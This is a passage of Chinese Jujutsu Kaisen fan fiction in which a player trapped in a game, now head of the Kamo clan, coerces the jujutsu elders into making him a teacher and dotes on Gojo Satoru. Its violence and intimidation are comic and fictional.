这款游戏里没有明确划分出数字的等级,他只清楚五条悟是当今仅有的四位特级咒术师之一,面对咒灵出手便是秒杀。 但要让他描述五条悟具体有多强,反而很难有个参照物作为衡量的概念。 “嗯,” 五条悟捏着下巴略微思考片刻,回答道。 “就算想要毁灭这个世界,也并非是做不到的事情。就是这种程度的强……吧。” 这话一出,连羽取一真都不禁侧目。 不是反派BOSS却拿毁灭世界作参照物,他还是初次听闻。 但在安静走过一段路后,羽取一真又开口问他。 “就算强到能毁灭整个世界,也仍然愿意如此辛苦的当教师、出任务吗?” 以他之前跟着五条悟出差的经历来倒推,也就是说对方至少从那所高专毕业开始,就一直是这个作息了。 “差不多啦,虽然总是要照顾弱小者会感觉很累,但没人照顾也是不行的吧?” 即使以一种极其自律且自我克制的韧性度过这漫长时光,五条悟却将这十年如一日的坚持说得轻描淡写,并没有自夸。 好似他并不是在做一件什么格外了不起的事情。 空气安静片刻,五条悟没得到来自身边黑发青年的回应,正要困惑的歪过脑袋时—— 羽取一真突然伸出手,目标明确的将掌心按在他发顶,飞快揉了一把。 “…………嗯?” 这一系列动作太过行云流水,让五条悟都有点愣住。 “啊,这次也没摸到。” 羽取一真颇为遗憾地看着自己收回的手。 明明昨晚五条悟将手臂搭在他肩膀时,他确实有那处肌肤接触到实物的轻微压力感来着……还以为空气墙在好感度攀上60之后消失了呢。 “——想靠这点偷袭的小动作就对我干坏事得逞,你还早一百年呢。” 五条悟了然失笑——这小子默不作声的,知道自己不太会说好听话,就打算用摸摸他脑袋的方式来夸奖他吗? 他又不是几岁的小鬼,怎么可能会需要这种安慰啦,太小瞧人了! 不过,五条悟同样不可否认的是,自己心底正在往上咕嘟咕嘟泛着汽水泡泡。 大概是柠檬味的,也有可能是草莓或柚子的味道。 “一直都不行吗?” 他甚至还听到对方语气可惜的这么问,实在很有趣,让他想要笑出声。 于是,五条悟真的愉快笑了起来,反过来伸手使劲揉搓一通黑发青年的脑袋——以解除[无下限术式]的状态。 “我的术式是[无下限]哦,全天候不间断的开启,自动识别带有攻击性的物体并阻止其靠近我。” 五条悟笑着和羽取一真解释,“像你这种全身都带有咒力的术师,肯定会被[无下限]识别成攻击性物体啦。” 被揉乱头发也不反抗、表情还依旧冷酷的青年看起来好玩得很,他忍不住又多揉了几下。 “不过呢,一直开着术式也会烧坏脑子,所以我也需要持续发动反转术式修复就是了。” 算是一个精细活,所以必须借助[六眼]对于每一丝咒力的精准把握与操控,才能最小限度的消耗咒力,让每个术式的使用效率达到最大。 直到现在才知道空气墙原理的羽取一真恍然:“这样哦。” 原来如此,竟然是漂亮大悟自己造出来的,难怪昨晚突然消失了一会。 刚才也是,必须要对方主动解开术式才行。 既然这样就没办法了,只能老老实实的刷满好感度,争取打出联姻结局,然后…… “所以你还要继续加油噢,加茂的家主。” 五条悟笑眯眯鼓励着,拍了拍羽取一真的脑袋,也打断了他险些走神的思绪。 ——在这后半句的称呼说出口前,五条悟的语气出现诡异的短暂停顿,而后流畅地转成了【加茂家主】。 显然,五条悟也不想对着羽取一真喊出那个名字。 甚至他还有点好奇。 于是,在[他输出、羽取一真补刀]的合作模式下,给羽取一真打了一堆咒力结晶续上[戒禁取见]后,五条悟终于没忍住又问出声。 “昨晚那名字,就那个。” 他拿大拇指比划了下示意,坚决不复述,“是你的真名?” 羽取一真想了想,点头。 “没错。” “——骗人!” “是真的,不信你喊一声。” 羽取一真一本正经回道。 原本他取这个名字的思路,就是因为想养包装封面上的漂亮小悟……虽然现在改成了漂亮大悟也不坏……但总体而言,这个昵称就是为了五条悟而取出来的,要是能被对方喊上一句…… 羽取一真感觉到自己白毛控的内心在蠢蠢欲动,整个人都变得期待起来。 五条悟:“…………我不。” 谁要喊那个见鬼的名字啦! 羽取一真:“……哦。” 五条悟:“…………” 这小子竟然还给他失落上了,就这么想占他的便宜?? 羽取一真默默地往嘴里塞了一枚咒力结晶补充咒力,感到十分忧郁。 唉,早知道就不起这个玩家昵称了,漂亮大悟又不肯喊。 没想到这名字唯一的作用,竟然是拿来膈应那帮总跟他对着干的老头npc。 ………… 接下来两三天,五条悟都在带着羽取一真到处祓除咒灵,把整个东京连带周边地区的咒灵都被扫荡一空,掉落的【咒力结晶】更是把物品栏堆得满满当当。 五条悟连原本打算去钓鱼赚最后一枚印章、从羽取一真那里换取[神秘甜品]的计划都被搁置了,整个一专心致志的祓除咒灵。 简直越干越起劲。 果然有奖励就是有动力! 以这数量来判断,前田康夫基本是别想指望[戒禁取见]能在三个月内耗空咒力、自动停下了。 “听说他在绝食哦,靠吊营养液续命,哈哈,真惨哦,哈哈。” 五条悟还边搅拌着加了过量糖块的咖啡,边把安排人打听来的小道消息跟羽取一真分享。 就是这幸灾乐祸的语气,压根听不出他有半点同情那位前田康夫的意思。 “应该没什么用吧。” 看他心情这么好,羽取一真也显得十分放松。 “就算只打营养液,也还是会需要上厕所的,只是频率降低一些。” 反正他还有一堆【咒力结晶】在物品栏里,想续多少天术式效果都不带眨眼的。 “按照我的推测,他差不多也该屈服了。毕竟那家伙只是骨头老一点,骨质却挺疏松的,可没有那种硬骨气呢。” 五条悟愉快端起那杯颜色都变浅些许的咖啡,只抿了一点就吐着舌尖抱怨“好苦好苦”,又往里面扔了两三颗糖块。 站在吧台的咖啡师远远见到了他反复加糖的全过程,眼角简直要微微抽搐。 那位客人,既然喝不了黑咖啡,就干脆点一杯甜甜的卡布奇诺不好吗,放这么多糖简直是对黑咖啡的亵渎啊啊!! 还有他身边那个全程冷着脸的正经酷哥,还以为会伸手阻止一下,没想到是帮着再夹了两颗糖……可恶,就不怕对方吃出蛀牙吗! 咖啡师表示他简直没眼看,但羽取一真却觉得漂亮大悟做什么都超可爱。 连性格里那点小小的恶劣趣味,也非常棒。 不愧是他在看游戏介绍时,一眼就相中的白毛老婆……最强咒术师。 “没关系,我不介意等。” 羽取一真摇头。 他的手边还放着一小堆咒力结晶,状态栏窗口也始终浮在眼前,一看咒力的消耗量掉到临界值,就嗑一枚咒力结晶给它续上。 核心目标只有一个:坚决不让术式终止。 “反正离开学还有些时间。” 如果到最后期限还不行,那就只能再把总监部召集起来开一次会,听他点着人头讲讲真理了。 反正先干掉反对的一半,再看看剩下的一半会不会支持他当高专教师。 不支持就再干掉一半。 多来几次,总能超过50%支持率的。 羽取一真当时不清楚他们总是刁难五条悟的事情,还想说放他们一命也可以。 现在看来,他还是太善了。 不过,在这段与五条悟坐在咖啡馆外晒太阳、悠闲而漫长的午后时光里,倒让羽取一真想起了另外一件事。 “我这里有枚【咒力结晶】,是之前刷…祓除[疱疮祸根]时掉落的。” 他从物品栏取出那枚奇怪的【伪·特级咒力结晶】,递给五条悟。 “你能看出有什么问题吗?” 比起夜蛾校长,他还是更相信五条悟的判断。 “嗯?让我来看看……” 五条悟摘下墨镜,极为认真的端详起指尖那枚漆黑的棱形晶体。 无论看多少次,都没人能否认他拥有一双极为漂亮的眼睛。 似雾缭绕的苍蓝天际,在那纯白又细密的睫羽轻微眨动间,好似被缓慢擦去了那陌生且朦胧的疏离感,逐渐展露出季雨初晴般的洗练与澄澈。 那是自那纯粹灵魂折射而出的底色,是某种更特别的璀璨光彩,足以令他的目光长久停留于此。 羽取一真耐心等待着,直到五条悟将那枚结晶还回来。 “和之前看到的那些不一样。” 戴回墨镜的五条悟停顿片刻,似乎在斟酌该怎么措辞——接着,他尝试用更简单的描述方式,好让掌握咒力知识不深的羽取一真也能够理解。 “它像是一种咒力的杂糅产物,并不纯粹。”他指了指面前的咖啡杯,“就像这个一样,依然可以被称作咖啡,但却不是黑咖啡了。” 毕竟黑咖啡就是什么都不加的纯咖啡嘛。 “意思是多种咒力混在一起了吗。”羽取一真若有所思。 “嗯。关于你描述的[祓除已经变成咒灵的咒物时,却没有能够回收的咒物]这件事,我其实也有点在意。” 五条悟沉吟道,“虽然如今的咒术界总是将咒物当作一种以毒攻毒的辟邪物,将它们分别放置在容易聚集诅咒的区域进行镇压。” “但事实上,绝大多数咒物都是带有庞大力量的诅咒残骸,因为无法彻底消灭,才只能选择将它们封印,当辟邪物只能算是一种废物再利用啦。” “其中呢,最危险的咒物莫过于[两面宿傩]的手指,只有一根也能达到特级咒物的级别。” 如果那些咒物听到五条悟对它们的形容词是“废物再利用”,搞不好会气得当场暴走。 “有些高阶咒灵会本能的去吞食咒物,想要获得更强大的力量;但当它们被祓除时,咒物大概率是可以回收成功的。” 五条悟夹起一颗糖块,丢进羽取一真的咖啡杯里时还用勺子搅了搅,另一只手撑着脸,笑眯眯的给他做演示。 “不过嘛,也存在另一种发挥咒物力量的办法,那就是受肉。嗯,其实就是人类吃下了咒物呢。” “虽然有承受不住咒力而死掉的,但也有能让咒物的意识在体内苏醒,彻底占据人类肉丨体的——要是出现后面这种情况的话呢,术师只要能成功杀掉受肉的那具躯体,咒物也会跟着一起被彻底祓除掉啦。” 羽取一真专注听着五条悟给他科普这个世界观的设定知识,逐渐恍然。 “也就是说,我祓除的那只咒灵并不是偶然,其实是被谁特意找来、受肉成功的人类容器。” “没错——再奖励你一块方糖哦!来来,别客气。” 面对一点就通的好学生,五条悟笑眯眯的,捏起小夹子就又往羽取一真的那杯咖啡里丢了颗糖块,让瞥见这幕的咖啡师眼角又是一顿微抽。 快点给咖啡之神赔罪啊那个白头发的! “啊,谢谢。” 羽取一真则端起自己那份咖啡喝了一口,完全不介意五条悟趁机给他加了两次糖的小动作。 甜的咖啡,不也很好喝嘛。 “而且哦,以我的[六眼]判断来看,你祓除的那个容器肯定是被谁用了点特殊的手段,竟然能强行融合不止一个咒物……不,包括咒灵也说不定。” 五条悟笑着看他在认真品尝咖啡,边摇了摇手里的那把精致的小夹子,指向那枚被单独放在结晶堆之外的漆黑晶体。 “或许是这个原因,你才会得到这种杂糅出的【咒力结晶】。嗯,光用感知的方式就完全分辨不出差别,我怀疑这点也是对方故意的。” 至于幕后黑手……既然事情发生在羽取一真和总监部开会之前,大概就是加茂家那边的人吧。 只是,加茂家那些老家伙他也见过,在头脑政治上确实挺会动手脚的,但肯定没有改造“容器”的能耐。 换句话说,还有隐藏在更深处的谋划者啊…… 这些想法在五条悟头脑里迅速过了一圈,再开口时却仅是姿态轻松的安抚羽取一真,让他不会因为自己刚才的话而过度紧张。 “不过嘛,你的实力早就大有进步,让那家伙也吃了个瘪呢。就算有谁以后还想靠高阶咒灵来算计你,也肯定不是件容易的事情啦。” “嗯。”羽取一真点头,“应该是加茂那些人做的,领头的加茂长吉已经被我杀了。” 难怪在物品描述里写的是【人造产物】,咒力结晶的评级也不符合资料的相关描述。 “总之我会去调查这件事的,你就别担心……” 正说着,五条悟的手机突然响了。 他按下通话键,还没听两秒钟,就冲羽取一真露出一个格外得意的灿烂笑容,用口型对他说道。 前田康夫屈服了。 再不屈服,他感觉自己真的要死了。 他只是一把老骨头,根本扛不住一直靠营养液活着,外加还有持续不断的、连胆汁都会被呕出来的恶心…… 那种来自精神与肉丨体上的双重折磨,既不会停歇、也没有尽头,只花费了短短几天,就让他彻底绝望。 但他更不想死。 只要有谁能把他从这种地狱里解脱出来,付出什么代价都好说。 再说了,仔细想一想,加茂家的那位家主不就是想当个高专老师而已吗,当,谁敢说不当,他第一个不答应! 快…救救他……真的要没命了…… 由于羽取一真这几天都和五条悟待在东京,手机里也只存了五条悟的联系方式,以至于联络不上加茂家主的前田康夫,只能尝试找到五条悟。 等五条悟打开外放、将手机摆在桌上时,前田康夫的声音也传了出来。 有出气没进气,听着已经是奄奄一息了。 “老夫认输了……请您解开这术式吧……” 前田康夫虚弱道,“老夫自当全力支持您……” 羽取一真打开委托界面看了眼,在心底对着【总监部的支持率:23%/50%】的进度微微摇头。 发动一次[戒禁取见]的术式才涨2%,意味着只有前田康夫转变了态度。 他可不打算用这种慢吞吞的进度来获得支持率。 羽取一真沉吟片刻,对放在二人之间的那部手机说道。 “我可以解开,但有一个条件。” 前田康夫忙不迭的同意了。 “没问题,多少个都没问题。” “你先照做,我要看到效果,才会考虑要不要解开术式。” 在五条悟逐渐露出惊叹的神色里,听完羽取一真要求的前田康夫,陷入了漫长的、死寂的沉默。 他,真的要这样做吗。 做完这件事的他,真的还能算是活在这世上吗。 扪心自问,在那次会议上,他又为什么要急着去招惹对方呢? 就算叫了对方一声爸爸又怎么样,只是一声爸爸而已,有什么丢人的? 哪比得上他现在…… ……… “什么?!这个术式效果是认真的!?!” 收到前田康夫消息的总监部高层,纷纷大惊失色,菊花一紧。 难怪这几天对方突然没了消息,他们还以为是性命难保,结果竟然……竟然这般受着苦!! 实话说,还不如性命难保。 这么离谱的术式对咒灵可能一点用也没有,但对他们而言,这术式效果简直恐怖得光是想象一下,就直吸凉气的程度。 根本就是对人类特攻的大杀器! 会这个术式的羽取一真更是魔鬼!煞神!! 而在前田康夫的消息里,除去那不忍细看的术式效果外,还附加有一段话。 假如他们不支持加茂家主成为总监部一员,并任命为东京高专教师,那么他就会点着名单上门拜访,把这术式用在他们身上。 看到这句明晃晃的威胁,所有高层的心里不约而同冒出一句话。 见鬼了,这谁还敢不支持? 有特级咒术师的五条悟护着,想杀又杀不掉,外加他自己也是能祓除[疱疮祸根]一级咒术师,他们眼下还能拿对方怎么办? 难怪那天晚上开会时,加茂家的那几人有一个算一个,不仅到得晚,还全都不敢吭声。 甚至有好些没出席的,说什么腰肌劳损正躺在床上敷膏药,但坚决支持家主的一切决策。 想要避免与这两个刺头接触也做不到,只要他们今后还想把持着掌控咒术界的权力,就必定会与五条悟、与加茂家主打照面。 要是选择拒绝……是谁这么想不开,要把前田康夫吃过的苦再吃一遍? 这些年,他们保守派互相照应,将总监部守得犹如铁桶,凡是支持五条悟改革的同僚都不着痕迹清除出去。 如今,这些人却不得不捏着鼻子放羽取一真进来。 不仅如此,还要看着他一撩羽织,冷然在那扇属于他的障子门背后坐下,听他们再度讨论起[任命他为东京高专教师]的这个提案。 这次,没人敢再有明面上的异议。 【当前委托:夜蛾正道的顾虑,已完成。】 【奖励:开放[东京高专教师]职位。】 【目前职位:总监部理事员。】 ——羽取一真的术式[戒禁取见],更是自此一战成名。 当夜蛾正道收到总监部发来的正式任命书时,整个人都惊呆了。 和五条悟站在同一个阵营就意味着要备受高层刁难,对方竟然还能成功拿到教师任命函? 见鬼了,这到底是怎么做到的?? “你……” 夜蛾正道看了眼手里的任命函,又抬眼看一眼羽取一真,再低头看一眼任命函,仍旧对这内容表示出了一万分的难以置信。 “放尊重点哦,夜蛾校长。” 五条悟乐呵呵的抬手搭上羽取一真肩膀,抑扬顿挫地向自家校长做介绍。 “这可是我们尊敬的总监部理事员之一,加茂阁下!” “…………” 夜蛾校长面无表情。 夜蛾校长的墨镜,再度堂堂碎裂。 “来啊,夜蛾校长,来喊一声听听嘛。”五条悟还要勾着手冲人耍宝。 “不然就以不敬之罪制裁你哦!” 夜蛾校长:“…………” 自从不当班主任后,好久没见过这种眉飞色舞着来招惹他的五条悟,他拳头都快硬了。 “既然你能成功拿到任命函,我也没什么可拒绝的余地。” 他摘下二度阵亡的墨镜,心累得用拇指揉了揉眼窝。 “那就暂且作为悟的替补教师吧,正好悟有紧急出任务的需求时,你也可以帮忙接替他进行一些教学事务。” “好。” 羽取一真欣然同意。 虽说他成为了总监部一员,但目前也没拥有什么实质性的权利——这套运行在咒术界的体制早就在数十代人不断的延续下变得呆板,即使他突然加进去,也没有能立刻改变的地方。 倒是五条悟说他晚上被叫去开会的频率急剧下降,估计是每次他过去的时候,羽取一真也必定会出席的缘故吧。 有羽取一真坐那盯着,谁还敢出声训斥五条悟?活得不耐烦了吗。 于是,继加茂家的咒术师开始奋发图强,替五条悟分担任务上的工作后,总监部的高层们也纷纷变得识相,不再开会占用五条悟的夜晚时间了。 听说他们还在尝试联系国外的九十九由基,似乎想要高价请她回来帮忙出一点力。 以至于在这临近开学的时候,五条悟还能拿着钓竿坐在河边,慢悠悠感叹出一句“好闲哦”。 今天,竟然只给他分了两个任务欸。 距离也都不远,只花了半天时间就搞定的他,此刻竟然罕见的悠闲起来。 专门需要特级咒术师对付的特级咒灵本就稀少,他平时接手的更多是其他人感到棘手的一级任务——但现在,他们好像突然都不对那些任务感到棘手了,好几个人抢着同时做一个任务。 倒是硝子开始抱怨最近开始变忙了,每天都有伤员送去她那。 听说大多是与加茂那边有联系的术师啊……会不会也是出自那位家主的命令? 五条悟托着下巴,有点想笑。 明明是横空出世、行事诡谲的奇怪家伙,却以极其颠覆性的做派,轻而易举搅动了早已腐朽的整个咒术界,让那些早已掌权久了的高层们又惊又怕。 原本是密不透风的顽岩,此刻已被强行凿出了裂隙。 “等开学后,禅院家的【十种影法术】也要在东京高专登场了喔,” 他对着河面自言自语着,语气期待。 “那些人,又会急到什么程度呢?” 第25章 “总监部也被他渗透进去了?” 夜风拂过时, 檐角下的风铃随之轻吟摇曳着,坠着的眼球忽而好似活了般眨动,带来了新的密信。 当看到这条最新消息时, 身穿袈裟的青年睁大眼睛, 脸上难得露出真切感到诧异的情绪。 对方的动作竟然如此迅速? 是察觉到什么了吗? 不、这不可能,自从得到这具肉丨体后,他始终将行踪藏得极为隐秘,避免自己在行动间留下任何细微的咒力残秽。 若是真的有察觉到异常,那位[最强]不可能还无动于衷。 扫过其中那几条[五条悟和加茂家主联手祓除了大量咒灵]、[五条悟与加茂家主坐在咖啡馆晒太阳]、[五条悟坐在河边一下午只钓到三条鱼]等种种行迹,那位袈裟青年有点默然无语。 难道真的是巧合? 这种自欺欺人式的安慰说辞, 他是半点也不可能会接受的。 缜密、严谨、细致,将每一枚棋子小心推到它该有的位置上去, 才最终组成可以控制变数的最佳计划。 他独自“活着”度过了这么多年, 自大、傲慢、轻信以及其它会让人招致失败的性格特质, 早已不能用来形容他。 即使在计划被打乱的此刻, 他也仍然能保持冷静。 毕竟类似这种[出乎意料]的状况,一旦将时间轴拉长至数百年, 也会变得极为常见。 换句话说,计划得稍作修改了吗…… “和聪明人的博弈啊,” 指尖摩挲过那根横贯额头的缝线,披散着黑发的青年露出一丝微笑。 “无论来多少次也不会腻。” 当手里的情报浏览至底部时, 那写到一半的内容又让他换了副表情, 变得稍许好奇起来。 “哦,竟然还得知了他的真名?让我来看看……” 手腕转动, 纸张被翻过页,见到那几个字的青年忽然陷入了沉默。 “…………” ……那家伙,应该是聪明人吧? ………… “唷, 惠——” 五条悟抬手和挎着单肩背包的伏黑惠打招呼,言谈间的态度相当熟稔。 “终于彻底搬来高专住了啊,加油,早日晋升成特级咒术师喔!” “别用这么轻松的口吻说出难度系数超高的事情。” 从埼玉县出发,赶了许久路来到这所郊区学校的伏黑惠此刻疲惫叹出口气,回出一句吐槽时的脚下没停,继续往分配给他的宿舍走去—— 然而,正要再跨出下一步的他,因为眼角余光瞥到的景象而僵硬在原地,一寸、一寸地转过脑袋。 那个之前坚定的对他说过喜欢五条悟,甚至为此想去高专当老师的加茂家主,竟然、真的、出现在东京咒术高专了! 而且就站在五条悟的身边! 伏黑惠大受震撼。 “欸呀,你也留意到啦?” 五条悟故意用那格外爽朗的笑容,伸手给呆住的伏黑惠做介绍。 “这位现在是我的同事,也是你未来一年的加茂老师!见到他记得喊声加茂老师好哦。” 羽取一真也和他打招呼,“好久不见。” 虽然对他来说也并没有很久,但换成游戏时间就是大约过了三个月吧。 伏黑惠:“…………” 真的、假的。 已经震惊到开始蹦单字的伏黑惠,憋了许久,才默默吐出一句疑问。 “怎么做到的,你是把校长打了一顿吗。” 他记得很清楚,在三个月前,五条悟第一次把这位加茂家主带来他这里时,还是个基础知识全无、不知道该如何感知咒力、只比普通人强上一点的咒术师。 这样的水平要如何才能当上老师,他的脑海里除了校长被五条悟暴揍一顿、强行签下任命书外,完全没有别的可行性想法。 或者,真相果然就像他猜测那样,这位黑发青年是故意装不懂…… “真失礼耶,我怎么会那么做呢,” 果然欣赏到了伏黑惠瞳孔地震般的剧烈反应,不枉他特意带着羽取一真等在这里的五条悟心满意足。 “这可是走正常流程,连高层也同意了的教师任命哦——” 伏黑惠:“…………” 伏黑惠笃定道:“那就是你把高层也揍了一顿。” 听到这句话,正打算反驳的五条悟在略作思索后,迟疑的摸了摸下巴。 “应该说是请他们吃了一顿才对……吧?” 还是吃了顿大的。 “?” 伏黑惠听不懂这句话的涵义,缓慢打出一个问号。 羽取一真:“………” 他和他的那个术式,如今在高层那边已经过于出名,哪怕只是坐在障子门后出声说句话,都能把对方吓得一抖。 这效果倒是比杀几个老头npc来威慑剩下的,还要好使得多。 而且听加茂乃吉说,他们在背地里都不太敢议论他,只能用眼神互相交流一下。 毕竟谁也不想在抱怨羽取一真时,无意间脱口说出一声【英俊的爸爸】——这称呼似乎有强制让他们只要想提到、就必须喊出的某种“束缚”存在,唯一解决的办法就是不要得知他的真名。 或者就像现在这样,用【加茂家主】这个头衔来指代他。 但那帮人既不想喊真名,也不想承认他是加茂家的家主,于是就只能尴尬的卡在这了。 何况,真要在背后说点什么被对方知道了,那术式可不是闹着玩的。 听完这些的羽取一真倒不在意他的名声如何,只要办法好用就行。 要是在意游戏里的名声,玩家打剧情时的极恶路线还要不要开了? 对应到这款游戏里,大概就是诅咒师路线……? 不过,他玩这个游戏的目标显然不是站到诅咒师的顶点上去当反派大魔王,所以暂时不考虑打极恶路线。 就先让这帮老头npc继续蹦跶一会吧。 羽取一真打开游戏的经营模块,确认加茂家的那些人还在努力地干活给他赚金币。 这段时间过去,他的金币比最初多了近一倍,光是看眼数字就能感到十分满足。 至于十六小时工作制带来的负面效果,则被羽取一真轻描淡写间就解决了。 服从度低,想造反?那就时不时请他们吃几顿烂饭,谈谈心。 吃到后面,游戏再也不提醒他这些人的服从度下降了。 大概是有听说他的术式,外加烂饭吃怕了吧,哪敢再升起反抗的心思。 现在只是吃一吃烂饭、干一点小活而已,和那个前田康夫一比,这不是超幸福的生活吗? 果然,他这个玩家就是善。 羽取一真在心底微微点头,对伏黑惠简单解释:“只是用了点小办法,向他们展示了下我的实力。” 伏黑惠沉默:“…………” 该不会是对着高层用[黑闪]吧,那确实得屈服。 反正对方当老师这件事已经是确定的消息了,伏黑惠无言的在这二人身上来回扫视两遍,总感觉有很多吐槽想说,但又不知道该从何说起。 总而言之就是……先去睡一觉好了,他现在感觉好累。 身体也累,心也累。 伏黑惠又往前挪了几步,才想起另外一件事,转头看五条悟。 “开学典礼是什么时候?” 对这个问题,五条悟只是歪了下脑袋,强烈怀疑是在故意卖萌。 “嗯?什么开学典礼?” 伏黑惠被这回问噎了下,默默扭回脑袋,“真的假的,这所学校连开学典礼都没有……” 虽然早就知道咒术高专的学生人数很少,没想到是连开学典礼都直接取消的程度……也太随便了吧。 “嘿呀,毕竟一年级新生目前仅有你一位呢。另外那位有特殊原因,需要晚两个月左右才能过来。” 五条悟笑眯眯的将双手背在身后,再伸出时已经是变魔术般多出了张纸,交给伏黑惠。 “虽然没有开学典礼,但是有任务哦,大惊喜——!” “…………” 伏黑惠盯着那张纸几秒,又抬眼看着他,实在不知道该摆出什么表情来应对。 这到底算什么惊喜…… “好啦好啦,其实是关于你的入学评定事情。” 五条悟将那张纸塞给伏黑惠,顺便大力拍了拍他的肩膀。 “和忧太那样的特殊情况不同,你既有天赋、也具备潜力,再加上祓除咒灵的丰富经验,怎么说也不可能被定成四级咒术师吧?” “所以我就和校长商量了下,给你安排一个二级任务,如果能顺利完成的话,你就是二级咒术师了!” 冲伏黑惠比出一个拇指的五条悟,又拉来身边的羽取一真。 “放心,加茂老师会跟你一起——” 听完介绍,伏黑惠点头收下这张写有任务资料的纸。 “知道了。” 看来他的猜测果然没错,这位加茂家主的实力肯定超过了二级,之前那些就是在跟五条老师玩假装什么也不懂的一个小花招…… 装得可真像啊,不愧是想要追…追求五条悟的人。 伏黑惠在心里嘀咕了声,对羽取一真开口道。 “我这两天想先调伏新式神,出发时再联系你。” 既然是二级任务,光靠他之前调伏的[玉犬]式神和[鵺]式神未必够用,正好趁这里的训练场又宽敞又偏僻,索性先去把[大蛇]调伏了。 “嗯,准备好了可以随时喊我。” 羽取一真扫了眼弹出来的弹窗,毫不介意地点头答应。 【当前任务:伏黑惠的入学评定任务。】 【协助伏黑惠完成二级咒术师评定任务:0%/100%。】 按照悟之前对他的说法,伏黑惠的能力很强,独自完成二级任务完全没问题。 但此刻,游戏却专门给他弹出了任务界面。 这是不是意味着,会有人想要来破坏这个任务…? 第26章 在羽取一真正式被任命为高专教师后, 他也顺势搬到了东京来住。 作为自平安时代绵延至今的阴阳师家族,加茂家早已在这近千年的岁月中积累了或有形或无形的庞大资产。 哪怕是中途横插一脚、成为加茂现任家主的羽取一真,也在不断收到来自各个渠道的联络——其中有些甚至仅是声问候。 这款游戏在权谋方面, 竟然也模拟得如此真实? 羽取一真硬着头皮应付了几次, 就对处理这些乱七八糟的琐事变得格外不耐烦,全部丢去加茂乃吉那边。 连个委托都不是,半点奖励没有,简直就是纯粹在浪费他的时间。 至于总监部那边,羽取一真则坚决贯彻[只要那帮老头敢把五条悟喊过去,他就必定跟着出席]的方针。 谁要是想对五条悟指指点点, 妄图从言语上贬低或打压他,坐在障子门后的羽取一真也无需搞出多么明显的动静来震慑他们。 他只用冷冷发出一声“嗯?”, 殿内的气氛会就瞬间变得和善又友好。 尤其是吃过大苦头的前田康夫, 当场从保守派叛变到改革派, 每次都第一个冲上前和其余高层对线, 生怕给羽取一真的忠心表慢了半点,邀功的机会就要被加茂家的其他人抢走。 加茂家的长老们简直要给他气死。 这个[新·阴]派的守旧势力, 来跟他们抢什么!要是被家主误认为他们在和五条悟对着干怎么办?谁来背负起吃烂饭的责任? 前田康夫则不以为然,坚决不放弃每个能在羽取一真面前刷好感的机会。 如今他都在保守派那边成了个巨大的笑话,还不赶快抱紧加茂家主的大腿,难道是在等着被那帮人精背地里把他清算出去吗。 这些加茂家的人能抱团抵抗另外几个势力, [新·阴]派的人可不会帮他, 反而巴不得他赶紧下去,再换一个自己的亲信上来。 羽取一真也很乐意看这帮老头npc互相卷起来, 省得到时又给他在私底下偷偷摸摸搞点造反的小动作。 总而言之,总监部现在的势力被羽取一真这么一搅和,基本已经乱得不成样子了, 以前能够齐心协力给五条悟施加压力的老家伙们,现在也只能忍气吞声,不敢再故意找茬挑刺。 说到底还是仗着五条悟不会对他们动手而肆意妄为,换成开枪时连招呼都不会打一声的羽取一真过来,他们立马变得客客气气的。 毕竟他们也清楚,五条悟说要杀了他们,基本只是口头威胁;羽取一真说要杀了他们,下一刻他们的尸体就已经躺地上了。 虽然加茂长吉的死被上报了咒物失控,但他们私底下都知道到底发生了什么。 凶神,那家伙根本就是个无法无天的凶神! 当那封信被送出去时,摇曳在总监部密会内的烛火早已黯淡许多。 它们快要燃尽了。 ………… “去,北海道?” 调伏完[大蛇]的伏黑惠拿着特快机票,表情一整个呆滞。 只是一个二级任务,竟然需要他们坐飞机去那么远的北海道完成…? “附近的咒灵呢?” “抱歉——那些都被我和加茂家主解决啦——” 五条悟用拳头轻轻一敲自己的脑袋,歪头冲伏黑惠卖了个萌,连声音都像是烘烤的棉花糖拉丝,又轻又软。 “…………” 伏黑惠虚起眼睛,不想说话。 明明是一米九的大男人,为什么在学动画片里的美少女卖萌啊,他又不吃这一套……等等…… 观察到羽取一真那眼睛微亮的隐晦反应,身为天才咒术师的伏黑惠立刻明悟。 原来吃这种卖萌行为的另有其人,真是打扰了。 “那再远一点的呢,比如群马或者长野。” “抱歉,那些也被其余咒术师抢着解决掉啦——” “…………”伏黑惠睁大眼,“不是说咒术师一年到头的人手都不足?” 看他这届的咒术高专,更是只有两个新生。 “确实是这样没错,” 五条悟摸了摸下巴,嘴角扬起。 “但大家最近都很努力呢,我好感动哦。” 这句话从五条悟的口中说出,透出某种微妙的、显而易见的揶揄意味。 而真正强行压着那帮人去干活的羽取一真,此刻正若无其事站在五条悟旁边,显得十分无害,好似这件事与他半点关系没有。 但实际上,当他那声名远扬的[戒禁取见]术式效果一出,那些家系咒术师简直要闻风丧胆,在工作上表现得格外卖力,祓除掉的咒灵汇成一沓又一沓的报告交上来。 恐怖!这个家主的古怪手段,竟然还有比无限吃烂饭更恐怖的! 原本身体就已经在不受控制的给他干活了,这下更是连内心都不敢不服从——生怕惹家主一个不高兴,他们就遭至与前田康夫同样的下场,求生不得,求死……他们还不想死啊! 也是在那时,羽取一真才了解到御三家相关的族人极少去高专学校就读,基本都是接受族内的精英教育。 即使到期从族内私塾毕业,他们也少有会接受普通任务安排的,要么负责些没什么性命威胁的安全工作;要么成为上位者的亲信,逐步靠近权力中心。 这说明什么?说明全咒术界的咒术师劳动力,远没有开发到极限嘛。 看看这帮人现在每天工作十六个小时,不就立刻替五条悟分担过去很多工作吗? 之前都歇了那么多年,光坐那喝着茶旁观五条悟辛苦奔波,现在也该轮到他们出点力气了。 可惜他现在只是加茂家主…… 羽取一真略走了会神,对自己接下来的任务地点并不怎么关心——只有一点是他非常在意的。 “你不去北海道吗?”他问五条悟。 “不过去哦,我有点事情需要调查一下。” 五条悟笑眯眯的,将属于羽取一真的那张机票塞在他手里,又轻拍了下肩膀。 “惠就交给你照看啦。” “好。” 羽取一真有点失望这次不能和漂亮大悟组队刷任务,蔫蔫的接过那张机票。 进游戏时,他本人并没有合法的身丨份丨证明;但在他成为加茂家主后,加茂家就动用力量,从政府内部渠道给他办理了一份。 名字那栏就写着【加茂家主】。 得知真名的五条悟还怂恿过羽取一真要不要重新办一次户籍,把名字改成【英俊的爸爸】,被加茂家上下誓死给劝住了。 “别难过别难过,只是几天而已——” 羽取一真至今都没能摸到五条悟那头柔软又蓬松的漂亮白毛,反倒是被对方揉搓脑袋上瘾。 “我记得北海道的花林糖超——有名的,买点回来吧?我想吃樱田的春季限定巧克力草莓口味!” 略长的黑发被揉乱,依旧不妨碍羽取一真板着张脸点头。 “好。” 挎着包的伏黑惠默不作声,密切观察着这两人的互动。 